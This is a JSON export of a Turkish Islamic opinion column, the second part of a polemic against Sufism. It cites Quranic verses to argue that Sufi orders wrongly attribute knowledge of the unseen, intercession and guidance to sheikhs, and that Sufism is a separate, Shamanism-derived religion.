{"id":119,"date":"2020-03-25T18:28:33","date_gmt":"2020-03-25T18:28:33","guid":{"rendered":"https:\/\/mucahede.com\/2020\/03\/25\/tasavvuf-yeni-bir-din-anlayisi-2\/"},"modified":"2020-03-25T18:28:33","modified_gmt":"2020-03-25T18:28:33","slug":"tasavvuf-yeni-bir-din-anlayisi-2","status":"publish","type":"post","link":"https:\/\/mucahede.com\/kose-yazilari\/tasavvuf-yeni-bir-din-anlayisi-2\/","title":{"rendered":"TASAVVUF (YEN\u0130 B\u0130R D\u0130N ANLAYI\u015eI) (2)"},"content":{"rendered":"

Zay\u0131f dü\u015fürülenler büyüklük taslayanlara: ‘Hay\u0131r, gece gündüz dolap (kurar, Allah’a \u015firk ko\u015fmam\u0131z\u0131 ö\u011fütlerdiniz) Allah’a nankörlük etmemizi, O’na e\u015fler ko\u015fmam\u0131z\u0131 bize emrederdiniz.’ dediler. Ve azâb\u0131 gördüklerinde, içlerinde pi\u015fmanl\u0131klar\u0131n\u0131 gizlediler. Biz de o nankörlerin boyunlar\u0131na demir halkalar geçirdik. Yaln\u0131z yapt\u0131klar\u0131yla cezâlanm\u0131yorlar m\u0131?” (Sebe, 32-33)<\/o_p><\/span><\/em><\/p>\n

Kur’an, bu apaç\u0131k haberleri verirken bu gerçekten habersiz olan tarikatç\u0131lara göre mürit, \u015feyh olma­dan Allah’a ula\u015famaz; onlar, Allah’a ula\u015fmak için bir arac\u0131n\u0131n \u015fart oldu\u011funu iddia ederler. Kur’an’\u0131 Kerim bunlar\u0131 \u015fiddetle reddetmekte ve yüce Allah’\u0131n kullar\u0131na \u015fah damarlar\u0131ndan daha yak\u0131n oldu­\u011funu ve insanla kalbi ara\u015fma girdi\u011fini bildirmektedir. \u015eu bir gerçektir ki, yukar\u0131da da ifade edildi\u011fi gibi, vas\u0131ta ile ula\u015f\u0131lan herkes eksiktir, noksand\u0131r. Yüce Allah (cc) ise eksiklik­ten, noksanl\u0131ktan münezzehtir.<\/o_p><\/span><\/p>\n

"Andolsun insan<\/span><\/em>\u0131 biz yaratt\u0131k ve nefsinin ona ne f\u0131s\u0131ldad\u0131­\u011f\u0131n\u0131 biliriz çünkü biz ona \u015fah damar\u0131ndan daha yak\u0131n\u0131z."<\/span><\/em> (KAF, 16)<\/span><\/em><\/o_p><\/span><\/em><\/p>\n

“Ey iman edenler, sizi ya<\/span><\/em>\u015fatacak \u015feylere ça\u011f\u0131rd\u0131klar\u0131 za­man Allah’\u0131n ve Rasulünün ça\u011fr\u0131s\u0131na ko\u015fun ve bilin ki, Allah ki\u015fi ile kalbi aras\u0131na girer ve siz O’nun huzuruna toplanacak­s\u0131n\u0131z.”<\/span><\/em> <\/span><\/em>(ENFAL, 24)<\/span><\/em><\/o_p><\/span><\/em><\/p>\n

Dikkat edilirse y<\/span>üce Allah (cc), kendisinin insana \u015fah dama­r\u0131ndan daha yak\u0131n oldu\u011funu ve insanla kalbi ara\u015fma girdi\u011fini söylerken, tarikatç\u0131lar Allah’a kar\u015f\u0131 ç\u0131karcas\u0131na \u015feyhlerini kendileri ile Allah (cc) aras\u0131na sokuyorlar. Yine Kur’an’da yüce Allah (cc), kullar\u0131na çok yak\u0131n oldu\u011funu bildirerek, kullar\u0131n\u0131n direkt olarak, arac\u0131 edinmeden kendi zat\u0131na dua etmelerini is­temektedir.<\/span><\/o_p><\/span><\/p>\n

"Kullar<\/span><\/em>\u0131m sana benden sorarlarsa; ‘Ben onlara yak\u0131n\u0131m, Dua eden, bana dua etti\u011fi zaman onun duas\u0131na kar\u015f\u0131l\u0131k veri­rim. O halde onlar da bana kar\u015f\u0131l\u0131k versinler, bana inans\u0131nlar ki, do\u011fru yolu bulalar."<\/span><\/em> <\/span><\/em>(BAKARA, 186)<\/span><\/em><\/o_p><\/span><\/em><\/p>\n

Özellikle rab\u0131ta durumunda yüce Allah’\u0131 tamamen d\u0131\u015flay\u0131p, üçüncü bir duruma dü\u015füren tarikatç\u0131lar, \u015feyhlerini yüce Allah’\u0131n yerine koymakta ve art\u0131k her istediklerini \u015feyhlerinden istemektedirler. "Yaln\u0131z sana kulluk eder ve yaln\u0131z senden yar­d\u0131m isteriz" <\/em>(1FAT\u0130HA, 4)<\/em> ayeti kerimesine ters dü\u015fecek dere­cede, ‘Yaln\u0131z \u015feyhten yard\u0131m isteriz ve yaln\u0131z ona itaat ederiz’ <\/strong>dercesine, ba\u015flar\u0131na gelen bir musibetin ya da kendilerine ula­\u015fan her hayr\u0131n \u015feyhlerinden oldu\u011funu hemen bütün tarikatç\u0131lar iddia ederler. Çünkü onlara göre \u015feyh, onlar\u0131n her hareketlerini görmekte ve dü\u015fündükleri her \u015feyi bilmektedir.<\/span><\/o_p><\/span><\/p>\n

<\/w_wrap><\/v_line>d) \u015eeyhlerin gayb\u0131 bildi\u011fi iddias\u0131: <\/o_p><\/strong><\/span><\/p>\n

Tarikatç\u0131lar, \u015feyhlerinin kendilerini her zaman gördü\u011fünü, kalplerinden geçeni bildi\u011fini iddia ederek davran\u0131\u015flar\u0131n\u0131 ona göre düzenlerler. Bu iddia yüce Allah’\u0131 devre d\u0131\u015f\u0131 b\u0131rakarak \u015feyhi ilahla\u015ft\u0131rmad\u0131r. Görüp gözetici s\u0131fat\u0131 yaln\u0131zca alemlerin Rabb’i yüce Allah’\u0131n s\u0131fat\u0131d\u0131r, bu s\u0131fat\u0131 bir insana vermek o ki\u015fiyi apaç\u0131k bir \u015fekilde ilahla\u015ft\u0131rmakt\u0131r.<\/o_p><\/span><\/p>\n

Tarikatç\u0131lar, \u015feyhlerinin gayb\u0131 bildi\u011fini ve gaipten haber verdi\u011fini iddia ederler. Oysa yüce Allah (cc), gayb\u0131n\u0131 kimseye açmad\u0131\u011f\u0131n\u0131 ve bu konuda Rasulullah (as)’\u0131n bile gayb\u0131 bilmedi\u011fini bildirir yüce Kitab\u0131’nda. Tabii ki insan Kur’an okumay\u0131nca yüce Allah’\u0131n bildirdiklerini bilmesi mümkün olmayacakt\u0131r.<\/span><\/o_p><\/span><\/p>\n

"Gayb<\/span><\/em>\u0131 bilen O’dur, gayb\u0131n\u0131 kimseye göstermez."<\/span><\/em> (C<\/span><\/em>\u0130N, 26)<\/span><\/em><\/o_p><\/span><\/em><\/p>\n

"Allah m<\/span><\/em>ü’minleri üzerinde bulundu\u011funuz halde b\u0131rakacak de\u011fildir. Temizi pisten ay\u0131racakt\u0131r ve Allah sizi gaybe vak\u0131f k\u0131lacak de\u011fildir" <\/span><\/em>(AL-\u0130 \u0130MRAN, 179)<\/span><\/em><\/o_p><\/span><\/em><\/p>\n

Y<\/span>üce Allah (cc), insanlar için gayb olan baz\u0131 konu ve durum­lar\u0131 vahiy yoluyla Rasullerine bildirerek insanlar\u0131 bunlardan haberdar etmi\u015ftir. Bu bildirilen gayb haberleri de genellikle geçmi\u015f peygamberlerin ve davetçi mü’minlerin k\u0131ssalar\u0131d\u0131r.<\/span><\/o_p><\/span><\/p>\n

"…Fakat Allah, el<\/span><\/em>çilerinden diledi\u011fini seçer(ek onu gaybe vak\u0131f k\u0131lar). O halde Allah’a ve O’nun elçilerine inan\u0131n; e\u011fer inan\u0131r ve korunursan\u0131z sizin için büyük mükâfat vard\u0131r."<\/span><\/em> (AL-<\/span><\/em>\u0130 \u0130MRAN, 179)<\/span><\/em><\/o_p><\/span><\/em><\/p>\n

"Biz bu Kur’an’<\/span><\/em>\u0131 vahyetmekle sana k\u0131ssalar\u0131n en güzelini anlat\u0131yoruz. Sen o(Kur’an)dan önce (bunlar\u0131) bilmeyenlerden idin." <\/span><\/em>(YUSUF, 3)<\/span><\/em><\/o_p><\/span><\/em><\/p>\n

"Bunlar sana vahyetti<\/span><\/em>\u011fimiz gayb haberlerindendir. Ne sen ne de kavmin daha önce bunlar\u0131 bilmiyordunuz. O halde sabret sonuç muttakilerindir." <\/span><\/em>(HUD, 49)<\/span><\/em><\/o_p><\/span><\/em><\/p>\n

Yukar\u0131daki ayetlerde de <\/span>bildirildi\u011fi üzere, yüce Allah (cc), insanlara, daha önce bilinme­yen kimi olaylar\u0131 Rasulleri arac\u0131l\u0131\u011f\u0131 ile bildirmekte ve bunun d\u0131\u015f\u0131nda kalan insanlar\u0131 gaybe vak\u0131f k\u0131lmayaca\u011f\u0131n\u0131 bildirmek­tedir. Bu kesin ve aç\u0131k hükümlere ra\u011fmen \u015feyhlerin gayb\u0131 bil­dikleri iddias\u0131 tüm tarikatç\u0131lar\u0131n itikad\u0131 haline gelmi\u015ftir. \u015eeyhlerin gayb\u0131 bildikleri iddias\u0131, yüce Allah’\u0131n üzerine at\u0131lan korkunç bir yalan ve iftirad\u0131r. <\/o_p><\/span><\/p>\n

Gayb\u0131<\/span> bilmek, insanlar<\/span>\u0131n dü\u015füncelerini okumak \u015föyle dursun, istisna­s\u0131z olarak bütün \u015feyhler apaç\u0131k olan Kur’an’\u0131 okumaktan ve Kur’an’\u0131n içinde geçen hükümleri anlamaktan acizdirler. Kur’an ruhundan yoksun bu kara cahil \u015feyhler, kendi cehaletleri ortaya ç\u0131kmas\u0131n diye, mümkün olan her yolla, kendilerini ilahla\u015ft\u0131ran cahil ve gafil kimseleri, Kur’an’dan ve Kur’an’\u0131 anlamaktan uzakla\u015ft\u0131rmaya çal\u0131\u015fmakta ve bu konuda bir sürü saçma sapan iddialar ortaya atmaktad\u0131r­lar.<\/span><\/o_p><\/span><\/p>\n

e) \u015eeyhlerin müritlerine \u015fefaat edece\u011fi dü\u015füncesi:<\/o_p><\/span><\/strong><\/span><\/p>\n

Her tarikat mensubu, \u015feyhlerinin kendilerine, günahlar\u0131n\u0131n a\u011f\u0131rl\u0131\u011f\u0131na ve \u015fekline bakmaks\u0131z\u0131n, \u015fefaat edeceklerini iddia ederler. \u0130\u015fte bu mant\u0131k, tarikatç\u0131lar\u0131, \u015feyhlerini yüce Allah’tan üstün tutmaya sevk etmektedir. Çünkü adil olan ve adaletle hükmeden yüce Allah (cc), \u015firk gibi baz\u0131 günahlar\u0131 ba\u011f\u0131\u015flamayaca\u011f\u0131n\u0131 haber vermekte ve tarikatç\u0131lar\u0131n küfür olan bu dü\u015füncelerine Kur’an’da cevap vererek bunun mümkün olmayaca\u011f\u0131n\u0131, adil bir yarg\u0131lanman\u0131n olaca\u011f\u0131n\u0131 bildir­mektedir.<\/span><\/o_p><\/span><\/p>\n

"Yer Rabb’inin nuru ile parlad<\/span><\/em>\u0131, kitap (ortaya) kondu, pey­gamberler ve \u015fahitler getirildi ve aralar\u0131nda adaletle hükme­dildi. Onlara asla zulmedilmez. Herkese yapt\u0131\u011f\u0131n\u0131n kar\u015f\u0131l\u0131\u011f\u0131 tam verildi, O, onlar\u0131n yapt\u0131\u011f\u0131n\u0131 en iyi bilendir.<\/span><\/em> (Z<\/span><\/em>ÜMER, 69-70)<\/span><\/em><\/o_p><\/span><\/em><\/p>\n

<\/w_wrap><\/v_line>“O g<\/span><\/em>ün herkes gelir, kendi can\u0131n\u0131 kurtarmak için u\u011fra\u015f\u0131r ve herkese yapt\u0131\u011f\u0131n\u0131n tam kar\u015f\u0131l\u0131\u011f\u0131n\u0131 verilir onlara asla haks\u0131zl\u0131k edilmez.” <\/span><\/em>(NAHL, 111)<\/span><\/em><\/o_p><\/span><\/p>\n

Kur’an’\u0131 okuyup hayatlar\u0131n\u0131 ona göre düzenlemek yerine, Kur’an’dan adeta kaçarak yüzçeviren tarikatç\u0131lar, \u015feyhlerinin \u015fefaatine güvenmektedirler. Ancak ne \u015feyhlerinin ne de ba\u015fkalar\u0131n\u0131n \u015fefaati onlara fayda verecek ve onlar, hüsran içerisinde kalacaklard\u0131r.<\/o_p><\/span><\/p>\n

"Art<\/span><\/em>\u0131k onlara \u015fefaatçilerin \u015fefaati fayda vermez. Böyle iken onlara ne oluyor ki ö\u011füt (Kur’an)’den yüz çeviriyorlar? Aslandan kaçan yaban e\u015fekleri gibi Kur’an’dan yüz çeviriyor­lar."<\/span> <\/span><\/em>(MÜDDESS\u0130R, 48-51)<\/span><\/em><\/o_p><\/span><\/em><\/p>\n

Kur’an, k\u0131yamet günü hiç kimsenin kimseye yard\u0131m etmeyece\u011fini, her nefsin kendi derdine dü\u015fece\u011fini bildirmekte, insanlardan kimilerinin ba\u015fkalar\u0131na yard\u0131m edece\u011fi dü\u015füncesinin \u015feytandan oldu\u011funu haber vermektedir. O gün, baban\u0131n evlad\u0131na, evlad\u0131n da babas\u0131na fayda veremeyece\u011fi bir gündür.<\/o_p><\/span><\/p>\n

"(O g<\/span><\/em>ün) kimsenin kimseye yard\u0131m etmeyece\u011fi bir gün­dür. O gün emir yaln\u0131z Allah’a aittir." <\/span><\/em>(\u0130NF\u0130TAR,19)<\/o_p><\/span><\/em><\/p>\n

“Ey insanlar, Allâh’\u0131n vaadi gerçektir; sak\u0131n dünyâ hayât\u0131 sizi aldatmas\u0131n, o aldat\u0131c\u0131(\u015eeytan da) sizi Allâh ile aldatmas\u0131n.” (Fat\u0131r,5)<\/o_p><\/span><\/em><\/p>\n

“Ey insanlar, Rabbinizden korkun ve baban\u0131n, çocu\u011funun cezâs\u0131n\u0131 çekmeyece\u011fi, çocu\u011fun da babas\u0131n\u0131n cezâs\u0131n\u0131 çekmeyece\u011fi günden çekinin. Allâh’\u0131n vaadi gerçektir. Dünyâ hayât\u0131 sizi aldatmas\u0131n. O aldat\u0131c\u0131(\u015feytân), sizi Allâh hakk\u0131nda aldatmas\u0131n” (Lokman, 33)<\/o_p><\/span><\/em><\/p>\n

Kimsenin kimseye yard\u0131m edemeyece\u011fi gerçe\u011fini en iyi bilen Rasulullah (as)’da bu konuda k<\/span>\u0131z\u0131 Fat\u0131ma(r.anha)’y\u0131 uyar\u0131yor ve ona \u015föyle diyor:<\/span><\/o_p><\/span><\/p>\n

“Ey k\u0131z\u0131m Fat\u0131ma, babam peygamberdir diye bana güvenme, sen kendi nefsini Allah’tan sat\u0131n almaya bak.”<\/span><\/o_p><\/span><\/strong><\/p>\n

\u0130nsanlar\u0131n kurtulu\u015fu için ç\u0131rp\u0131nan, bu u\u011furda en a\u011f\u0131r i\u015fkence ve hakaretlere u\u011frayan,  <\/span>s\u0131k\u0131nt\u0131 ve zorluklara gö\u011füs geren rahmet elçisi Hz. Muhammed (as), kendi çi\u011fer paresi öz k\u0131z\u0131na, Peygamber babas\u0131na güvenmemesini, kendi nefsini Allah’tan sat\u0131n almas\u0131n\u0131 söylemektedir. Rahmet elçisi kendi k\u0131z\u0131na bu gerçekleri söylerken ne gariptir ki tarikatç\u0131lar, Kur’ani hiçbir delile dayanmadan,  <\/span>\u015feyhlerinin kendilerini kurtaraca\u011f\u0131na inanmaktad\u0131rlar. <\/o_p><\/span><\/p>\n

f) \u015eeyhlerin, ir\u015fat edici, do\u011fru yola iletici mür\u015fit olduklar\u0131 iddias\u0131:<\/o_p><\/strong><\/span><\/p>\n

Tarikat<\/span>ç\u0131lar, \u015feyhlerinin birer mür\u015fit olduklar\u0131n\u0131 ve ir\u015fat ettiklerini iddia ederler ki bu, yüce Allah’\u0131n hidayete erdirici s\u0131fat\u0131n\u0131 \u015feyhlere vermektir. Hidayete ula\u015ft\u0131r\u0131c\u0131 ve ir\u015fat edici olan yüce Allah (cc), tarikatç\u0131lar\u0131n bu iddialar\u0131n\u0131 da yalanlamaktad\u0131r.<\/span> Bu nedenle tasavvuftaki m<\/span>ür\u015fitlik iddias\u0131, ba\u015fl\u0131 ba\u015f\u0131na büyük bir iddia ve ilahl\u0131k taslama \u015feyhlere ilahl\u0131k s\u0131fat\u0131 vermektir. <\/o_p><\/span><\/p>\n

Mür\u015fit; ir\u015fat eden, do\u011fru yola ile­ten demektir. <\/strong>Oysa yüce Allah (cc), Rasulü’ne dahi mür\u015fitlik vermemi\u015f ve yaln\u0131z kendisinin mür\u015fit bir dost oldu\u011funu, yal­n\u0131z kendisinin hidayete erdirdi\u011fini bildirmi\u015ftir. Bunun d\u0131\u015f\u0131nda mür\u015fitlik iddias\u0131nda bulunanlar, haddi a\u015fan tu\u011fyan eden kimseler­dir.<\/span><\/o_p><\/span><\/p>\n

"… Allah kimi hidayete ula<\/em><\/span>\u015ft\u0131r\u0131rsa, o hidayeti bulmu\u015ftur, kimi de sap\u0131kl\u0131kta b\u0131rak\u0131rsa, art\u0131k onun için mür\u015fit bir dost bulamazs\u0131n." <\/span><\/em>(KEHF, 17)<\/span><\/em><\/o_p><\/span><\/em><\/p>\n

Y<\/span>üce Allah (cc), kullar\u0131n\u0131 Kur’an’la ir\u015fat etmi\u015ftir. Kur’ani gerçeklerden habersiz olan tarikat \u015feyhleri, ba\u015fkalar\u0131n\u0131 ir\u015fat etmek \u015föyle dursun, kendileri dahi ir\u015fat etmekten acizdirler. Yüce Allah (cc), Rasulüne dahi ir\u015fat etme yetkisi ver­medi\u011fini bildirmektedir.<\/span><\/o_p><\/span><\/p>\n

"Sen, sevdi<\/span><\/em>\u011fini do\u011fru yola iletemezsin, fakat Allah diledi­\u011fini do\u011fru yola iletir. O, yola gelecek olanlar\u0131 iyi bilir."<\/span><\/em> (KASAS, 56)<\/o_p><\/em><\/span><\/p>\n

"Sen, onlar<\/span><\/em>\u0131n hidayete gelmelerini ne kadar istesen de Allah sapt\u0131rd\u0131\u011f\u0131n\u0131 yola getirmez ve onlar\u0131n yard\u0131mc\u0131lar\u0131 da olmaz."<\/span><\/em> (NAHL,37)<\/o_p><\/em><\/span><\/p>\n

Bu vahy<\/span>î gerçeklere ra\u011fmen, tarikat \u015feyhleri kendilerinin mür\u015fit oldukla<\/span>r<\/span>\u0131n\u0131,<\/span> onlar\u0131 ilahla\u015ft\u0131ran Kur’ani gerçeklerden habersiz cahil tarikatç\u0131lar da, \u015feyhlerin insanlar\u0131 ir\u015fat ettiklerini iddia ederler. Hattâ bu konuda o denli ileri giderler ki, yüce Allah’\u0131n zürriyetten kesti\u011fi, çocuk vermedi\u011fi kimselere bile istedikleri zaman çocuk verebildiklerini ileri sü­rerler. Ölüyü diriltme, kalplere tasarruf etme, yoksullara r\u0131z\u0131k ya\u011fd\u0131rma, gittikleri yerlere hay\u0131r ve bereket verme iddialar\u0131 bu sap\u0131klar\u0131n ileri sürdükleri ve \u015feyhlerin bunu en kolay bir \u015fekilde yapt\u0131klar\u0131n\u0131 ileri sürdükleri günlük i\u015fler­dendir. Tarikatç\u0131lar\u0131n bu iddialar\u0131 için, onlar\u0131n \u015firk kokan, bid’at ve hurafe dolu kitaplar\u0131na bir göz gezdirmek yeterlidir.<\/span><\/o_p><\/span><\/p>\n

Kur’an’<\/span>\u0131 ve Sünnet’i yetersiz görerek hidayeti tarikatlarda ve \u015feyhlerde arayanlar gerçekten sapan kimselerdir. Çünkü, Kur’an’\u0131n hidayete erdirmedi\u011fi kalbi hiçbir güç hidayete erdi­remez. Bu nedenle yüce Allah (cc), yaln\u0131z Kur’an-\u0131 Kerim’e uy­may\u0131 emretmekte, Kur’an’dan ba\u015fka bir kitaba ve Allah’tan ba\u015fka velilere uymay\u0131 yasaklamaktad\u0131r. <\/o_p><\/span><\/p>\n

Yüce Allah (cc), kullar\u0131n\u0131 Allah ad\u0131na ortaya ç\u0131k\u0131p insanlar\u0131 sapt\u0131ran kimselere aldanmamalar\u0131 için uyarmakta ve Allah ile kendi aralar\u0131na arac\u0131lar ko­yanlara Cehennem’i bir konak olarak haz\u0131rlad\u0131\u011f\u0131n\u0131 bildirmek­tedir.<\/span><\/o_p><\/span><\/p>\n

"O nank<\/span><\/em>örler benden ayr\u0131 olarak kullar\u0131m\u0131 kendilerine veli­ler yapacaklar\u0131n\u0131 m\u0131 sand\u0131lar? Biz kâfirlere cehennemi konak olarak haz\u0131rlad\u0131k." <\/span><\/em>(KEHF,102)<\/span><\/em><\/o_p><\/span><\/em><\/p>\n

"Rabb’inizden size indirilene uyun ve O’ndan ba<\/span><\/em>\u015fka evli­yaya uymay\u0131n. Ne kadar az ö\u011füt al\u0131yorsunuz." <\/span><\/em>(A’RAF,3)<\/span><\/em><\/o_p><\/span><\/em><\/p>\n

"K<\/span><\/em>\u0131sa ve do\u011fru yolu Allah gösterir. Ama o yoldan sapan da var. Allah dileseydi, hepinizi do\u011fru yola iletirdi." <\/span><\/em>(NAHL,9)<\/span><\/em><\/o_p><\/span><\/em><\/p>\n

"<\/span><\/em>\u0130\u015fte benim do\u011fru yolum budur, ona uyun, (ba\u015fka) yollara uymay\u0131n ki sizi O’nun yolundan ay\u0131rmas\u0131n. Korunman\u0131z için (Allah) size böyle tavsiye etti." <\/span><\/em>(EN’AM,153)<\/span><\/em><\/o_p><\/span><\/em><\/p>\n

Kur’an ger<\/span>çe\u011finden mahrum olan tarikatç\u0131lar elbette ki, Kur’an’\u0131n bu yüce uyar\u0131lar\u0131n\u0131 bilemezler. Onlar, Kur’an’\u0131n uya­r\u0131lar\u0131n\u0131 bilmedikleri için saçmalad\u0131kça saçmal\u0131yor, dü\u015ftükçe dü\u015füyor, küçüldükçe küçülüyorlar. <\/o_p><\/span><\/p>\n

Tarihi \u015fahsiyetlere at\u0131lan iftiralar:<\/o_p><\/strong><\/span><\/p>\n

Tarikat<\/span>ç\u0131lar, yaln\u0131zca Allah ve Rasulüne iftira atma­kla kalmaz; de\u011ferli insanlara  <\/span>ve tarihte \u015fanl\u0131 mücadele örnekleri or­taya koyan kimselere de iftira ederek onlar\u0131n da tasavvufçu ol­duklar\u0131n\u0131 ileri sürerler. Tarikatç\u0131lar\u0131n iftira ettikleri zatlar\u0131n ba­\u015f\u0131nda, \u015fehit bir müctehid olan ve hayat\u0131 boyunca Kur’an’dan hiçbir taviz vermedi\u011fi için, zindanlarda süründürülüp sonunda \u015fahadetin o yüce makam\u0131na yükselen Ebu Hanife gelmektedir.<\/span><\/o_p><\/span><\/p>\n

Tarikat<\/span>ç\u0131lar, Ebu Hanife (r.anh)’in "Son iki y\u0131l\u0131 olmasayd\u0131 Numan <\/span>helak olurdu" <\/strong>dedi\u011fi iddias\u0131n\u0131 ileri sürerek bu büyük müçtehide iftira ederler. \u015eayet tarikatç\u0131lar\u0131n iddia ettikleri gibi, Numan’\u0131 (Ebu Hanife’yi) son iki y\u0131l\u0131 kurtar\u0131yor idiyse, öyle ise, elli küsur y\u0131l içerisinde, yeti\u015ftirdi\u011fi bütün ö\u011frenciler ve bu süre içinde -ki bugün de de­vam ediyor- mezhebine tabii olan milyonlarca insan da helak olmu\u015f demektir. Evet Ebu Hanife’nin son iki y\u0131l\u0131 çok önemlidir. Çünkü o, son iki y\u0131l\u0131nda zalim sultanlara kar\u015f\u0131 ç\u0131k­m\u0131\u015f ve zindanda \u015fehit olmu\u015ftur.<\/span><\/o_p><\/span><\/p>\n

Sonuç olarak: <\/o_p><\/strong><\/span><\/p>\n

B<\/span>ütün bu Kur’ani gerçeklere ra\u011fmen, Allah’a iftira edip ta­savvufun \u0130slâm’dan oldu\u011funu iddia edenler, apaç\u0131k bir \u015fekilde yalan söylemi\u015flerdir. Allah’a yalan uyduranlar\u0131n yeri ise ce­hennemdir.<\/span><\/o_p><\/span><\/p>\n

"Allah’a yalan uyduranlar<\/span><\/em>\u0131n k\u0131yamet günü yüzlerinin kap­kara kesildi\u011fini görürsün. Kibirlenenler için cehennemde yer yok mudur (san\u0131yorsun)?" (ZÜMER,60)<\/span><\/em><\/o_p><\/span><\/em><\/p>\n

Yüce Allah’\u0131n Kitab\u0131’nda her \u015fey apaç\u0131k bir \u015fekilde ortaya konulmu\u015f, hiçbir \u015fey eksiklik b\u0131­rak\u0131lmam\u0131\u015ft\u0131r. Yüce Allah’\u0131 raz\u0131 etme konusunda iman eden kimse ne ararsa onu yüce Kitap’ta bulur. Bu yüce Kitab’\u0131n pratiklere uygulan­mas\u0131 olan Rasulullah(as)’\u0131n Sünneti Seniyyesi de \u015füpheye yer b\u0131­rakmayacak \u015fekilde en ince ayr\u0131nt\u0131s\u0131na kadar ortadad\u0131r. <\/o_p><\/span><\/p>\n

Tasavvufu kabul etmek, Kur’an ve Sünnet’i yetersiz görerek, Kur’an ve Sünnet’te olmayan bir \u015feyi \u0130slâmi göstermektir. Halbuki Kur’an’da her \u015fey aç\u0131klanm\u0131\u015ft\u0131r. Rasulullah (as) da bu aç\u0131k Kitab’\u0131 hayat\u0131nda ya\u015fayarak insanlara ula\u015ft\u0131rm\u0131\u015ft\u0131r.<\/span><\/o_p><\/span><\/p>\n

"Elif Lam Ra. (Bu), bir Kitab’d<\/span><\/em>\u0131r ki, hikmet sahibi, her \u015fey­den haberi olan taraf\u0131ndan ayetleri sa\u011flamla\u015ft\u0131r\u0131lm\u0131\u015f, sonrada güzelce aç\u0131klanm\u0131\u015ft\u0131r. Ta ki Allah’tan ba\u015fkas\u0131na itaat etmeyesiniz. \u015eüphesiz ben O’ndan size (gönderilmi\u015f) bir uyar\u0131c\u0131 ve müjdeciyim." (HUD,1-2)<\/span><\/em><\/o_p><\/span><\/em><\/p>\n

"…Biz Kitab’da hi<\/span><\/em>çbir \u015feyi eksik b\u0131rakmam\u0131\u015f\u0131zd\u0131r. Sonra (onlar) Rab’leri(nin huz\u0131\u0131ru)na toplanacaklard\u0131r." (EN’AM,38) <\/o_p><\/span><\/em><\/p>\n

Tasavvufun, \u0130slâm’a ve \u0130slâmi de\u011ferlere bu kadar aç\u0131k bir \u015fekilde ters dü\u015fmesinin nedeni asl\u0131nda gizlenmeyecek kadar aç\u0131kt\u0131r ki, onun ayr\u0131 bir din olu\u015fundand\u0131r. Ana yap\u0131s\u0131n\u0131 \u015eamanizm’in olu\u015fturdu\u011fu tasavvuf, Dr. Fuat Köprülü’nün de yazd\u0131\u011f\u0131 gibi, \u0130ran, Hind, Yunan kültürlerinden ve \u0130slâm, Hr\u0131stiyanl\u0131k, Budizm, Zerdü\u015ftilik, Mandeizm, Manihaizm gibi dinlerden de önemli al\u0131nt\u0131lar yaparak k\u0131l\u0131f de\u011fi\u015ftirmi\u015f ve ayr\u0131 bir din olarak ortaya ç\u0131km\u0131\u015ft\u0131r. Bu nedenle, tasavvufçular temelde Müslüman de\u011fil, \u015famanisttirler.<\/o_p><\/span><\/p>\n

Tasavvufçular, Kur’ani kavramlar\u0131 ve baz\u0131 ayetlerin anlam\u0131n\u0131 çarp\u0131t\u0131rlar:<\/o_p><\/strong><\/span><\/p>\n

Özellikle son y\u0131llarda Müslümanlar\u0131n, Tasavvufun Kur’an ve Sünnet d\u0131\u015f\u0131 bir din oldu\u011funu, Kur’an’dan ve Sünnet’ten deliller getirerek, aç\u0131klamalar\u0131 üzerine tasavvufçular, baz\u0131 ayetlerin an<\/span><\/span> <\/w_wrap><\/font><\/font><\/v_line>lamlar<\/span>\u0131n\u0131 tevil ederek, baz\u0131 kavramlar\u0131 çarpt\u0131rarak, kendilerine Kur’an’dan deliller getirmeye çal\u0131\u015fm\u0131\u015flard\u0131r. Tasavvufçular\u0131n anlam\u0131n\u0131 çarp\u0131tt\u0131klar\u0131 kavram­lardan baz\u0131lar\u0131 \u015funlard\u0131r:<\/span><\/o_p><\/span><\/p>\n

Zikir: <\/strong>Tasavvuf<\/span>çular, zikrin Kur’an’da ne anlama geldi\u011fini bilmeden, yaln\u0131zca kelimenin söyleni\u015fine göre anlamland\u0131r­maktad\u0131rlar. Kur’an-\u0131 Kerim’de de\u011fi\u015fik kullan\u0131mlar\u0131yla beraber 292 yerde tekrarlanan zikir, ba\u015fl\u0131ca \u015fu anlamlara gelmektedir:<\/span><\/o_p><\/span><\/p>\n

Vahiy, Kitab (Kur’an ve di<\/span>\u011fer semavi kitaplar), peygamber, \u015feref, \u015fan, k\u0131ssa, nasihat, ikaz, hat\u0131rlatmak, hat\u0131rlamak, dü­\u015fünmek, tezekkür etmek, övmek, mükâfatland\u0131rmak, kadrini bilmek, gere\u011fini yaparak hat\u0131ra getirmek, anmak, konu\u015fmak, söylemek.<\/span><\/o_p><\/span><\/p>\n

Zikir, genel olarak bu anlamlara geldi<\/span>\u011fi halde tasavvufçular, tüm bu anlamlar\u0131 bir kenara b\u0131rak\u0131p zikri, Kur’an ve Sünnet’te rastlan\u0131lmayan bir \u015fekle sokmu\u015flar ve ya dansvari bir \u015fekle bürün­dürmü\u015fler ya da mistik bir yap\u0131ya dönü\u015ftürmü\u015flerdir.<\/span><\/o_p><\/span><\/p>\n

\u015eimdi tasavvufçular\u0131n istismar ettikleri ve kelimelerin söy­leni\u015fine tak\u0131larak anlam\u0131n\u0131 çarp\u0131tt\u0131klar\u0131 ayetlerden bir tanesi üzerinde dural\u0131m:<\/span><\/o_p><\/span><\/p>\n

"<\/span><\/em>Öyleyse beni zikredin ki, ben de sizi zikredeyim; bana \u015fük­redin, inkâr etmeyin." <\/span><\/em>(BAKARA,152)<\/span><\/em><\/o_p><\/span><\/em><\/p>\n

Tasavvuf<\/span>çular, bu ayetin siyak ve sibak\u0131na bakmadan, ne an­lama geldi\u011fini bilmeden, yaln\u0131zca bir bölümü olan; "… Beni zikredin ki ben de sizi zikredeyim…" <\/em>k\u0131sm\u0131n\u0131 alarak tarikata de­lil getirmeye çal\u0131\u015f\u0131rlar. Oysa, zikrin tarikatla hiçbir ilgisi bu­lunmad\u0131\u011f\u0131 gibi bu ayetin de onlar\u0131n anlad\u0131\u011f\u0131 \u015fekliyle zikirle hiçbir ilgisi yoktur. Bu ayet, hem önceki ayetin, hem de kendi­sinden sonra gelen ayetin tamamlay\u0131c\u0131s\u0131d\u0131r. Yani bu ayete göre zikir, 151. ayette peygamberin okudu\u011fu ayetlere uyarak temiz­lenmek, 153-155. ayetlerde ise, gelen ayetlerin gere\u011fini yapmak yani namaz k\u0131lmak, sabretmek, Allah (cc) yolunda \u015fehid olmak, gelen imtihanlara sabretmektir.<\/span><\/o_p><\/span><\/p>\n

